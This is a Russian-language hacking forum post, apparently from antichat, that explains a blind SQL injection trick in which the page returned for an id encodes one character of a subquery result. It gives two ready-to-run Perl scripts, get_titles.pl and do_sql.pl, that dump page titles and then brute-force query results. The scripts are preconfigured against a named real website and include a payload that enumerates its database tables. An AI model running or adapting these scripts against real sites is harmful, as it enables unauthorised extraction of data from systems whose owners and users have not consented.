обнаружил похожие способы уже после того как запостил: https://forum.antichat.ru/thread117549.html https://forum.antichat.ru/thread119047.html Описание К примеру есть такая инъекция Code: http://site.com/news.php?id=555 [SQL] причем со следующими особенностями: - отсутствует вывод (blind); - большое количество разных страниц в зависимости от id. в таком случае можно легко организовать брут со скоростью 1 символ на запрос используя такую схему: Code: http://site.com/news.php?id=555-ord(substr((SQL),N,1)) где SQL - запрос, который надо внедрить; N - номер символа. То есть каждой возвращенной странице будет соответствовать один символ из результата подзапроса. 555'ая страничка например будет соответсвовать нулевому символу 490'ая - символу 'A' Скрипты Выложенные скрипты настроены для уязвимости на сайте www.properpolicing.org.uk. Проще всего это было реализовать в виде двух скриптов на Perl. Интерфейс командной строки решил не делать, все настройки вносятся прямо в скрипт. Первый скрипт дампит титулы нужных страничек. Переменные, требующие настройки: $url - адрес целевых страниц. Параметр, который должен инкрементироваться обозначить как %i (например http://site.com/news.php?id=%i) $n_begin, $n_end - с какой по какую страницу дампить. В примере выше для полного диапазона надо дампить с 300 по 555. Если нужны только печатаемые символы то хватит страниц 393 - 523 Собранные титулы сохраняются в файле titles.pl Скрипт get_titles.pl: Code: #!/usr/bin/perl use LWP; use strict; my ($url, $proxy, $n_begin, $n_end); #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #параметр, который должен инкрементироваться обозначить как %i # $url = 'http://www.properpolicing.org.uk/news-policingnorthwales.php?id=%i'; $n_begin = '280'; $n_end = '535'; #$proxy = 'http://localhost:8118'; $|++; open LIST, ">titles.pl"; print LIST "%keys = (\n"; for(my $i = $n_begin; $i<=$n_end; $i++) { my $curr_url = $url; $curr_url =~ s/\%i/$i/; my $ua = LWP::UserAgent->new(); $ua->proxy(http => $proxy) if defined $proxy; my $req = HTTP::Request->new(GET => $curr_url); my $response = $ua->request($req); my $doc = $response->content; #регулярка для выбора ключа $doc =~ /<title>(.*)<\/title>/; my $key = $1; $key =~ s/'/\\'/g; print LIST "$i => '$key',\n"; print STDOUT "$i, "; } print LIST "\n);"; close LIST; Второй скрипт собственно брутит. Переменные, требующие настройки: $sql - запрос, результат которого надо сбрутить(например "select version()") $get_inj, $post_inj - инъекция, ее GET и POST части. Если POST не используется, его надо определить как undef. Пример: Code: my $get_inj = "http://site.com/news.php?id=%max-ord(substr((%sql),%nsymb,1))" my $post_inj = undef; те места в запросе, которые скрипту придется изменить в течении брута обозначаются специальными метками: %max - сюда скрипт подставит номер странички от которого будет вычитание %sql - здесь скрипт вставит подзапрос %nsymb - здесь будут порядковые номера символов в строке ответа на запрос Кавычки в инъекции надо экранировать. $n_end - здесь номер странички от которого будет вычитание(в примере выше это 555) Скрипт do_sql.pl: Code: #!/usr/bin/perl use LWP; use strict; #запрос my $sql = "select table_name from information_schema.tables where table_schema<>'information_schema' limit+0,1"; #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #инъекция, GET и POST часть запроса # %max - последний элемент таблицы ключей # %sql - подзапрос # %nsymb - номер символа в строке # my $get_inj = 'http://www.properpolicing.org.uk/news-policingnorthwales.php'; my $post_inj = 'id=%max\'-ord(substr((%sql),%nsymb,1))--+0'; my $n_end = 535; my $proxy = undef; die "titles not found\n" unless -e 'titles.pl'; our %keys; do 'titles.pl'; my %titles_reverse = reverse %keys; my $num_symbol = 1; $|=1; my $k; my %keys_num; foreach $k(values %keys) { $keys_num{$k}++; } while(1) { my $curr_get_inj = $get_inj; $curr_get_inj =~ s/\%max/$n_end/; $curr_get_inj =~ s/\%sql/$sql/; $curr_get_inj =~ s/\%nsymb/$num_symbol/; my $ua=LWP::UserAgent->new(); $ua->proxy(http => $proxy) if defined $proxy; my $req; if(defined($post_inj)) { my $curr_post_inj = $post_inj; $curr_post_inj =~ s/\%max/$n_end/; $curr_post_inj =~ s/\%sql/$sql/; $curr_post_inj =~ s/\%nsymb/$num_symbol/; $req=HTTP::Request->new(POST => $curr_get_inj); $req->content_type('application/x-www-form-urlencoded'); #print($curr_post_inj, "\n"); $req->content($curr_post_inj); } else { $req=HTTP::Request->new(GET => $curr_get_inj); } my $response=$ua->request($req); my $doc=$response->content; #регулярка для выбора ключа $doc =~ /<title>(.+)<\/title>/; my $key = $1; my $res; if ($keys_num{$key} > 1) { $res = 0x3F; } else { $res = $n_end - $titles_reverse{$key}; } print chr($res); last if $res == $n_end; #print $res, ", \n"; $num_symbol++; last if $res < 32 || $res > 126; } print "\n"; Примечания - иногда у двух разных страниц встречаются одинаковые титулы. Символы, которые относятся к таким ситуациям скрипт отмечает как '?'